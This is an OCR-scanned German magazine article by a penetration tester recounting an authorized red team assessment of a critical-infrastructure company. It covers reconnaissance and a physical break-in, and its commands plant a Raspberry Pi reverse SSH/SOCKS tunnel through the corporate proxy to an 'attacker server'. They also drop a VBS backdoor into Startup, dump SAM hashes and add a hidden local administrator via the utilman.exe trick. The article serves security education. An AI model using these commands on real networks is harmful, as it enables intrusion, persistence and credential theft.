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Sicherheitstests: Angriffe auf Technik und Mensch

Mit allen Mitteln

Sascha Herzog

Red Teaming und Red Team Assessments sind komplexe,
zielgerichtete Penetrationstests und Sicherheitsanalysen, die
die reale Angreifbarkeit zentraler Assets eines Unternehmens
feststellen. Aufgrund dieser Erkenntnisse kann man sie
durch entsprechende Gegenmalnahmen schitzen.

or einiger Zeit wurde die Firma des
\/Autors wie so hdufig beauftragt,

ein Unternehmen aus dem Bereich
,kritische Infrastrukturen” anzugreifen.
Wir sollten zeigen, ob es moglich ist,
kritische Daten zu kompromittieren und
kritische Infrastrukturen zu sabotieren,
und wenn ja, wie einfach oder schwierig
dies ist.

Um gleich ein Missverstidndnis auszu-
rdumen, das hédufig besteht: Auftraggeber
war kein fremdes Unternehmen, sondern
das Zielunternehmen selbst. Es wollte
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wissen, wie gut seine Schutzmafnahmen
funktionieren und ob die wichtigsten As-
sets in Gefahr sind.

Am Anfang steht bei solchen Auf-
trigen immer das Tactical Information
Gathering, zu Deutsch taktische Infor-
mationsbeschaffung (siehe auch Kasten
,,Die verschiedenen Angriffsphasen®). So
werden die Kombination aus passiver
und aktiver Reconnaissance (Aufkldrung)
sowie die Techniken der Open Source
Intelligence (OSINT) bezeichnet. Man
beginnt damit, so viele relevante Infor-
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mationen wie moglich zu sammeln, um
die Angriffsfliche auf ein Maximum aus-
zudehnen. Dazu kartiert man sdmtliche
Systeme des Zielunternehmens, die di-
rekt aus dem Internet erreichbar oder er-
sichtlich sind: IP-Adressen, Hostname,
offene Ports, lauschende Dienste und 6f-
fentlich bekannte Schwachstellen. Man
versucht, Muster in der Namensgebung
der Hosts zu erkennen, beispielsweise
Namen von Gottern oder Planeten, um
weitere, bisher unbekannte Angriffsziele
zu entdecken.

Informationssammlung
aus vielen Quellen

Dafiir nutzen Sicherheitstester aktive In-
ternetscans sowie diverse passive Quellen
und Datenbanken wie Shodan, Censys
und ZoomEye (alle Links des Artikels
sind iiber ix.de/ix1802078 zu finden)
oder kombinieren Informationsbausteine
aus historischen WHOIS-Datenbanken
und Webseiten. Sie beschaffen sich Infor-
mationen iiber Tochtergesellschaften, De-
partments, Abteilungen, physische Uber-
wachungsmaBnahmen, Dienstleister wie
Wachfirmen, ISPs oder Handelspartner
sowie WLAN-Eckdaten. Sie korrelieren
Google Maps mit 6ffentlichen Stromnetz-
karten (Abbildung 1), fotografieren Zu-
gangsmoglichkeiten vor Ort oder be-
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schaffen interne Informationen iiber das
Telefon, indem sie sich als jemand ande-
res ausgeben.

Des Weiteren sichten sie Referenzen
von IT-Partnern und Dienstleistern, kata-
logisieren von Mitarbeitern des Ziel-
unternehmens hiufig besuchte Websites,
Browserversionen sowie die verwendeten
Browser-Plug-ins und wissen, welche
Gebéudesteuerungssoftware der Haus-
meister des zentralen Gebdudes verwen-
det. Im besten Fall finden sie zudem des-
sen LinkedIn-Passwort, das im letzten
,Data Breach® ,,geleakt wurde. Damit
konnen sie sich aus dem Internet in das
zentrale Managementsystem der Gebéu-
deleittechnik einloggen, da er ein und das-
selbe Passwort fiir alle seine Accounts
verwendet und die Tester bereits samt-
liche externen IKT-Zuginge des Zielun-
ternehmens ermitteln konnten.

Parallel erstellt man von relevanten
Mitarbeitern und Schliisselpersonen des
Ziels detaillierte Profile aus sozialen
Netzwerken und Metadaten verschie-
denster Dokumente. Diese Informationen
fiihrt man mit den beschafften Daten der
Systeme und Technologien zusammen
und konstruiert aus diesem Big-Data-
Haufen realistische Angriffspfade.

Nach dieser Phase folgt oft ein APA-
Workshop mit den beteiligten Analysten
des Teams und dem eingeweihten Perso-
nenkreis des beauftragenden Zielunter-
nehmens. APA steht fiir Angriffspfad-
analyse und ist ein ein bis zwei Tage
dauerndes Seminar, in dem man mit dem
Zielunternehmen gemeinsam die realis-
tischsten und effektivsten Angriffspldane
entwickelt. So lassen sich unnétige Tests
von vornherein vermeiden.

Einen Ful in
die Tir bekommen

In diesem Fall bestand einer der Angriffs-
plédne darin, bei Nacht in ein zentrales Ge-
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Das Zusammenfiihren verschiedener 6ffentlich zuganglicher Informationen kann
beim Vorbereiten oder Durchfiihren der simulierten Angriffe helfen. Die Abbildung
zeigt einen Ausschnitt aus der Stromnetzkarte des Projekts Flosm, der sich mit
anderen Kartendaten kombinieren ldsst (Abb. 1).

biude des Ziels einzudringen, um Hinter-
tiiren in das interne Netzwerk einzubauen,
die zukiinftig privilegierte Zugriffe aus
dem Internet in das ,,Corporate LAN* er-
lauben wiirden (siehe auch Artikel ,,Ab-
sperraufwand auf Seite 84). Einmal im
Netz, wiirden wir uns wie iiblich durch
,,Post Exploitation“-Techniken die Rechte
erhohen, weitere Systeme kompromittie-
ren und uns mittels ,,Lateral Movement*
Zugang zu vertraulichen Daten und SCA-
DA-Netzwerken verschaffen.

Wie jeder gute Plan brauchte auch die-
ser eine gute Vorbereitung. Wihrend einer
der Analysten die Aufgabe hatte, einen
Raspberry Pi mit einem Kali Linux zu be-
spielen und anhand der gesammelten In-
fos so zu programmieren, dass er beim
AnschlieBen an eine Netzwerkdose einen
Reverse-SSH-Tunnel* durch die Corpo-
rate Firewall und den eingesetzten HTTP-
Proxy aufbaut, fotografierte ein anderer
Analyst das Gebdude vor Ort und unter-

S-TRACT

e Sogenannte Red Teams werden von Firmen haufig dafiir engagiert,
in das eigene Unternehmen oder in die IT einzubrechen, um die Schwachstellen
in den SicherheitsmaRnahmen auszuloten.

® Der erste Schritt besteht im Sammeln aller Informationen, die letztlich
zu den erfolgversprechendsten Angriffsstrategien fiihren. Diese sind haufig
offentlich verfligbar oder mit etwas Geschick herauszufinden.

e Sensibilisierte Mitarbeiter, das Vorhandensein von [T-Sicherheitspersonal,
technische MaRnahmen sowie regelmaRige Uberpriifungen kénnen das Risiko
von Datenmanipulation oder -diebstahl verringern.
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suchte die ortlichen Gegebenheiten. Nach
zwei Tagen war es so weit. Natiirlich ist
der ausfiihrende Analyst immer etwas ner-
vos, da er ja wie ein echter Einbrecher
nicht erwischt werden mochte und alles
glatt laufen muss. Selbstverstindlich hat
man bei solchen physischen Eindringver-
suchen immer eine unterschriebene Be-
glaubigung des Auftraggebers dabei, die
wir die ,,Du kommst aus dem Gefingnis
frei*“-Karte nennen, aulerdem die Handy-
nummer eines zentralen Ansprechpart-
ners. So lésst sich bei einer Entdeckung
durch das Wachpersonal die Situation
schnell entschérfen.

In diesem Fall konnten wir in Erfah-
rung bringen, dass nicht immer alle Tii-
ren der Tiefgarage abgeschlossen oder
durch Zugangskontrollsysteme verriegelt
waren, was einen ersten Zugang in das
Innere des riesigen Gebidudekomplexes
ermoglichte. Der Analyst konnte durch
eine Tiir im vergitterten Garagentor ein-
dringen, die eigentlich nur von innen
aufzumachen sein sollte. Oftmals diirfen
solche Tiiren nicht verschlossen werden,
damit der Fluchtweg nicht blockiert
wird. Um von der Garage ins Gebédude-
innere zu kommen, konnte er dann eine
Glastiir nutzen, bei der der Kartenleser
fiir die Zugangskontrolle einfach deakti-
viert wurde. Das war Gliick, ist jedoch
bei Weitem kein Einzelfall.

Sollte man hier nicht so viel Gliick ha-
ben, muss man versuchen, sich Zugangs-
karten in Kantinen, Cafeterien oder an-
derweitig in der Nédhe von Mitarbeitern
zu kopieren (zu klonen). Dies kann man
gut mit dem Proxmark3 oder dhnlichen
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Tag-Readern/-Writern erledigen, abhin-
gig von der eingesetzten Funk- und Ver-
schliisselungstechnik.

Unterstitzung aus
der Ferne

Der Analyst hélt im Normalfall immer
Kontakt zu mindestens einem Operator,
der im Office des beauftragten Sicher-
heitsunternehmens sitzt und ihn aus der
Ferne unterstiitzt. Dieser erhilt in so ei-

nem Fall erst mal eine kurze Nachricht
per Smartphone, dass der Tester erfolg-
reich in das Gebédude eindringen konnte.
Die zweite Phase des Angriffsplans be-
stand darin, den speziell priparierten
Raspberry Pi als Hardware-Backdoor
hinter einem Drucker ans Netzwerk an-
zubringen und eine zweite Hintertiir in
Form von Software auf einen PC einzu-
spielen, der am internen Microsoft Active
Directory hingt.

Das Snippet im Listingkasten ,,Infil-
trieren des Zielnetzwerks ...* zeigt eine

generelle Moglichkeit auf, sich von ei-
nem beliebigen Linux-Host (ohne Root-
Rechte), der sich im Zielnetzwerk befin-
det, einen SOCKS5-Tunnel iiber den
Firmen-HTTP-Proxy (der oft die einzige
Kommunikationsmoglichkeit mit dem
Internet ist) in das interne Netzwerk zu
legen (Abbildung 2).

Auch bei der Platzierung des Raspber-
ry Pi gibt es einiges zu beachten. Vor al-
len Dingen ist die MAC-Adresse des
Druckers, gegen den man den Pi austau-
schen will, aufzuschreiben und der Pi

Listing: Infiltrieren des Zielnetzwerks via SOCKS5

### Voraussetzungen:

#aufgelost werden konnen)

useradd -s /bin/rbash -d /home/ruser ruser
passwd ruser

su ruser

mkdir /home/ruser/programs

mkdir /home/ruser/.ssh/

ssh-keygen -f ruser

cat ruser.pub > /home/ruser/.ssh/authorized_keys
mv rusex /home/ruser/

#Die Inhalte von /home/ruser/.bash_profile
#folgendermaBen anpassen:

# .bash_profile

if [ -f ~/.bashrc 1; then
. ~/.bashrc

fi

PATH=$PATH: /home/ruser/programs
export PATH

#Dateirechte entsprechend anpassen:

sudo chmod 600 /home/ruser/ruser
sudo chown -R ruser:ruser /home/ruser

AllowTcpForwarding yes

#surfen oder Scans durchfihren

#127.0.0.1:<socks_port>
#socksv5

#Alternativen zu diesem Setup lassen sich mit
#dem stunnel-Tool umsetzen, das einen
#SSL-Tunnel verwendet und ebenfalls
#Proxy-Fdhigkeiten besitzt.

#Datei .bash_profile speichern und Bearbeitung verlassen

#Auf dem Linux-Host einen SOCKS5 listener starten (z. B.
ssh -0 StrictHostKeyChecking=no -D 127.0.0.1:<socks_port> -C localhost

export http_proxy=http://<proxy_host>:<proxy_port>

export https_proxy=http://<proxy_host>:<proxy_port>

export dns_proxy=http://<proxy_host>:<proxy_port>

export no_proxy=Llocalhost,127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

#Auf dem "Angreifer-Server" (hier ein Kali Linux) einen eingeschrénkten User mittels RBASH anlegen

EEE R R R A A S A A R AR AR R A A R S A A R A A A A A A A R A A R A R A R R A A AR R AR AR A
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### 1. Shell-Zugang mit normalen Userrechten auf einem Linux-Host im internen Netzwerk HiH
### 2. Proxytunnel tool: #iH
Hit - https://github.com/proxytunnel/Proxytunnel Hit
Hik - ./configure;make #oder eine statisch kompilierte Version fiir das entsprechende System nutzen  ###

EEEE R R R AR A A R AR AR S R AR R S A A A A A A A A A R R A R A R AR AR AR AR A R AR AR A

#Auf dem Linux-Host die Proxy-Umgebung einstellen (besonders auch auf die DNS-Settings achten, da sonst interne Hostnamen nicht

internes
Netzwerk

|

Opfer-System
(Linux-Host)

Axo1d-}Ing

Angreifer-Server
(Kali Linux)

Tiemaily

P

Angreifer-Client

(Linux-Host)

Mit diesem Setup ist es moglich, einen Firmen-Proxy-Server
zum Tunneln von Datenverkehr zu verwenden (Abb. 2).

#Den generierten privaten SSH-Key vom Angreifer-Server auf den Linux-Host (Opfer-System) kopieren

auf Port 1080)

#Daflir sollte man den lokalen SOCKS5-Tunnelendpunkt im Browser einstellen
#In Firefox unter "Einstellungen" -> "Netzwerkproxy"

#Die Datei /etc/ssh/sshd_conf falls notig und falls moglich anpassen, um SOCKS5 zu aktivieren (ist standardmiBig aktiviert)

#In der offenen SSH-Sitzung einen Tunnel zum Angreifer-Server etablieren, der den internen HTTP-Proxy verwendet

ssh -o StrictHostKeyChecking=no -o ProxyCommand="<dir_of_proxytunnel_binary>/proxytunnel -v -p <proxy_host>:<proxy_port> -d %h:%p" -
R:<socks_port>:127.0.0.1:<socks_port> -1 <dir_of_ruser_private_key>/ruser ruserd<attacker_server> -p <attacker_server_port>

#Hiermit ist der Tunnel hergestellt und man erreicht das interne Netzwerk des Ziels nun direkt Uber den Angreifer-Server
#(optional): Jetzt kann man den Angreifer-Server als Proxy verwenden und mit einem beliebigen Host mit SSH-Client im Intranet des Ziels

ssh -L:<socks_port>:127.0.0.1: :<socks_port> -i <attacker_user_priv_key> <attacker_user>d<attacker_server>
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mit der Druckeradresse zu konfigurieren,
bevor man den Austausch vollzieht. So
kann man die eventuell vorhandene Port-
Security oder MAC-Filter aushebeln.
Danach kann man einen Notizzettel mit
der folgenden oder einer &hnlichen
Nachricht an den Drucker hingen: ,,Dru-
cker defekt! Wird kommenden Freitag
ausgetauscht.”

Alternativ zu diesem Austausch und
dem Reverse-SSH-Tunnel durch den
Corporate Proxy kann man iiber ein
3G/4G-Interface arbeiten und den Pi
transparent zwischen Netzwerkdose und
Drucker schalten, was ebenfalls Zu-
gangskontrollmechanismen wie 802.1X
aushebeln kann (Beispiel-Hacks siehe
ix.de/ix1802078).

Nachdem der Analyst vor Ort die Be-
stitigung des Operators per Smartphone
bekommen hatte, dass der Pi seinen
Dienst versieht und der Tunnel erfolg-
reich etabliert wurde, konnte er sich nun
seinem zweiten Ziel widmen, der Soft-
ware-Backdoor.

Dafiir brauchte er einen Raum, der
idealerweise nicht abgeschlossen war,
und einen normalen PC, der von den
Mitarbeitern genutzt wurde. In diesem
Fall wurde der Analyst unter dem Tisch
eines Konferenzraums fiindig. Was dann
funktionierte, jedoch nicht immer klappt,
war das Booten iiber einen USB-Stick,
um die priméire Festplatte iiber ein frem-
des Betriebssystem, zum Beispiel Kali
Linux, zu mounten und die Backdoor di-
rekt im System zu hinterlegen. So kann
diese bei jeder Anmeldung eines Benut-
zers starten. Voraussetzung hierfiir ist eine
unverschliisselte Festplatte und ein BIOS,

das das Booten von externen Massen-
speichern aktiviert hat oder eine Aktivie-
rung erlaubt.

Einschleusen
der Software-Backdoor

In unserem Fall verwendeten wir einen
modifizierten PowerShell Empire Laun-
cher, der die vom Zielunternehmen ein-
gesetzte Endpoint-Protection-Losung um-
gehen konnte und uns einen dauerhaften
Zugang auf den PC mit den Rechten des
AD-Benutzers erlaubte, der gerade am
System arbeitete.

Endpoint-Protection-Produkte, egal von
welchem Hersteller (Symantec, McAfee,
Kaspersky, Trend Micro, Sophos et cete-
ra), sind in der Regel einfach zu umgehen,
was wir regelméBig in dedizierten Bypas-
sing-Tests demonstrieren (Vortragsvideo
dazu siehe ix.de/ix1802078).

Die Backdoor platzierte der Tester auf
dem PC mit Windows 7 einfach im Au-
tostart-Ordner (Startup Folder) von ,,All
Users*, womit diese bei jeder Benutzer-
anmeldung ausgefiihrt wird:

rootdkali:/# mkdir /mnt/win & ntfsmount
/dev/sdal /mnt/win

rootdkali:/# cp /media/usb-drive/group- ;7
policies.vbs "/mnt/win/Documents and Settings ;
/ALL Users/Start Menu/Programs/Startup/"

Danach kopierte er noch die SAM-Da-
tenbank, die alle lokalen Benutzer und
Passwort-Hashes des Windows-Systems
beinhaltet, um sie spéter zu knacken oder
die Hashes auf anderen Systemen einzu-
setzen.

rootakali:/# pwdump 7
/mnt/win/Windows/System32/config/SYSTEM
/mnt/win/Windows/System32/config/sam > 7
/media/usb-drive/h.txt

Anschlieflend legte er sich einen neuen
lokalen Windows-Administrator mit dem
Namen ,,backup* an, indem er den Utili-
ty-Manager (utilman.exe) mit der cmd.exe
iiberschrieb. Denn dieser Prozess des
Windows-Betriebssystems zeigt beim
Hochfahren und nach dem Driicken von
,.Windows-Taste + U* im Normalfall eine
grafische Tastatur auf dem Bildschirm an,
die mit SYSTEM-Rechten ausgefiihrt
wird und nun eine cmd.exe-Befehlszeile
mit den entsprechenden Rechten aufrief.
Hierauf konnte der Analyst dann seinen
Backdoor-Administrator-Account anle-
gen, um spiter schnell von einfachen Be-
nutzeraccounts im AD seine Rechte erho-
hen zu kénnen.

C:\> net user backup Attacker123 /add
C:\> net localgroup Administrators backup /add

Man sollte allerdings die Proxy-Einstel-
lungen eines normalen AD-Benutzers bei
dem lokalen Admin-Nutzer einspielen, da
man sonst im Zweifel die Backdoor-Ver-
bindung verlieren kann, die nur durch
den Standard-Proxy funktioniert.

Geschafft - Zugriff
von aufden

Nachdem dieser Teil der Arbeit erledigt
war, konnte der Tester das Gebidude wie-
der verlassen und froh sein, dass ihn kein
Wachmann entdeckt hatte und die beiden
geplanten Methoden so gut funktionierten.
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Die verschiedenen Angriffsphasen

Taktische Informationsbeschaffung: Bei der
Sammlung taktisch relevanter Informationen
werden mit verschiedenen Methoden wie
OSINT (Open Source Intelligence), Network
Footprinting, Social Engineering und physi-
scher Erkundung vor Ort (Reconnaissance)
Daten beschafft, die in Kombination effektive
Angriffspfade ergeben und die Grundlage fir
jedes Red Team Assessment bilden.

Die Blackbox: Externe, direkte Angriffe aus
dem Internet. Wenn sich aus der taktischen
Informationsbeschaffung realistische, direkte
Angriffsziele ergeben haben, wird hier ver-
sucht, diese Systeme aus dem Internet zu
kompromittieren, um das erklarte Ziel des
Red Team Assessment direkt zu erreichen
oder sich eine verbesserte Position flr weitere
geplante Angriffe zu verschaffen.

Social Engineering: Indirekte Angriffe gegen
Mitarbeiter aus dem Internet. Dies ist der hau-
figste Weg, Zugang zum internen Netzwerk
eines Unternehmens zu bekommen, und kann
Uber (Spear-)Phishing, Telefonate oder mani-
pulierte Massenmedien erreicht werden. Hier
ist der Mitarbeiter das Ziel, der ohne sein Wis-
sen dazu gebracht werden soll, einen Angriff
auf sein eigenes Unternehmen zu starten.

Eindringlinge: Physische Angriffe vor Ort.
Sollte es notwendig sein, scheuen sich Angrei-
fer nicht, direkt in Gebaude des Ziels einzu-
dringen oder gar einzubrechen, um ins Netz-
werk zu gelangen, was das reale Beispiel des
Artikels gezeigt hat.

Wenn man drin ist: ,Persistence” und gesi-
cherter ,Command & Control”. Eine wichtige

Die verschiedenen Phasen eines Angriffs lassen

sich noch weiter unterteilen (Abb. 3).

Ab hier griffen dann Standardtech-
niken der internen ,,Network Reconnais-
sance* (Netzwerkerkundung) und des
,Lateral Movement* (Bewegung inner-
halb des Netzwerkes), wodurch es dem
Analystenteam in diesem Fall innerhalb
von zwei Tagen moglich war, das gesamte
interne Active Directory und damit das
ganze Netzwerk des Unternehmens unter
seine Kontrolle zu bringen. Somit wiren
reale kriminelle Angreifer bei einem Che-
miekonzern in der Lage gewesen, die
Sensorik und Aktorik von Kesseln, die
beispielsweise giftige Gase enthalten, zu
manipulieren und diese austreten zu las-
sen, was bis hin zu Todesfillen in der be-
nachbarten Stadt fithren konnte. Wére es
ein Unternehmen aus der Versicherungs-
branche oder ein Krankenhaus, wiirden
sich die Angreifer jetzt Zugang zu den
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Kunden- oder Patientendaten verschaf-
fen, um diese zu stehlen und weiterzuver-
kaufen. Im Falle von Stddten und Kom-
munen konnten Angreifer Zugang zur
Verkehrsleittechnik, den Biirgerdaten oder
der Entwisserungstechnik bekommen.
Bei einem Energiekonzern sind Angriffe
auf das Stromnetz moglich und militdrna-
he Einrichtungen bieten oft direkte Netz-
werkzugédnge zu militdrischen Netzen an,
die sich Angreifer zum Ziel machen
konnten.

In unserem geschilderten Fall hatten
wir das Gliick, kein 24/7-SOC (Security
Operations Center) als Blue Team Coun-
terpart zu haben, das sicherlich einige
der durchgefiihrten Angriffe erkannt hét-
te. So ein simulierter Angriff wie be-
schrieben ist jedoch eine hervorragende
Ubung fiir SOC-Teams, die die defensi-
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Kunst fur Angreifer ist es ebenfalls, einmal er-
langte interne Zugdnge zu erhalten und etab-
lierte Kommando- und Kontrollverbindungen
iber Malware und Trojaner nicht zu verlieren.

Lateral Movement: Der Weg zu den Kronju-
welen. Umfangreiche und spezielle Themen
sind ,Lateral Movement”“ und ,Post Exploita-
tion“. Hier geht es darum, sich als Angreifer
héhere Rechte zu verschaffen und die zentra-
len Systeme des Netzwerks unter Kontrolle zu
bekommen.

Exfiltration und Sabotage: Der Nutzen fiir
den Angreifer. Sobald die zentralen Systeme
und wichtigen Ressourcen unter der Kontrolle
eines Angreifers stehen, wird dieser versu-
chen, sein urspriingliches Ziel, meist Daten-
diebstahl oder Sabotage, zu erreichen. Hierbei
muss er mit Bedacht vorgehen und eventuelle
Sicherheitsmechanismen wie DLP (Data Loss
Prevention) umgehen kénnen.

Aufrechterhaltung der Kontrolle: Verstecken
und Beobachten. Sich die langfristige Kontrol-
le Gber ein Unternehmen zu sichern, ist oft
das Ziel professioneller Cybercrime-Syndikate
und staatsfinanzierter Angreifer. Es gab Falle,
bei denen bekannt wurde, dass ein Unterneh-
men (ber fiinf Jahre lang vollstandig beob-
achtet und kontrolliert wurde. Hierflr werden
oft klassische RATs (Remote Access Trojans)
mit Audio-/Video-Fahigkeiten eingesetzt.

»Lessons Learned“ und Schutzmanahmen:
Gerade fiir Unternehmen aus dem Bereich kri-
tische Infrastrukturen oder mit anderen sensi-
blen Geschéftsbereichen ist es sinnvoll, die ei-
gene Sicherheit von beauftragten ,legalen
Einbrechern” Giberpriifen zu lassen. So kann
man die Einfallstore entdecken und schlieRen,
bevor ein echter Angriff passiert.

ven Féhigkeiten auf die Probe stellen
und verbessern kann.

Zur Einfiihrung in die Thematik sollen
im Kasten ,,Die verschiedenen Angriffs-
phasen‘ noch kurz iibliche Phasen eines
gezielten Angriffs und damit auch iibliche
Phasen eines Red Team Assessment er-
ldutert werden. Die einzelnen Phasen
werden in zukiinftigen iX-Artikeln an-
hand realer Assessments im Detail ndher
erklart werden. (ur@ix.de)

Sascha Herzog

ist technischer Geschaftsfuhrer und
Penetrationstester bei der NSIDE ATTACK
LOGIC GmbH in Munchen.
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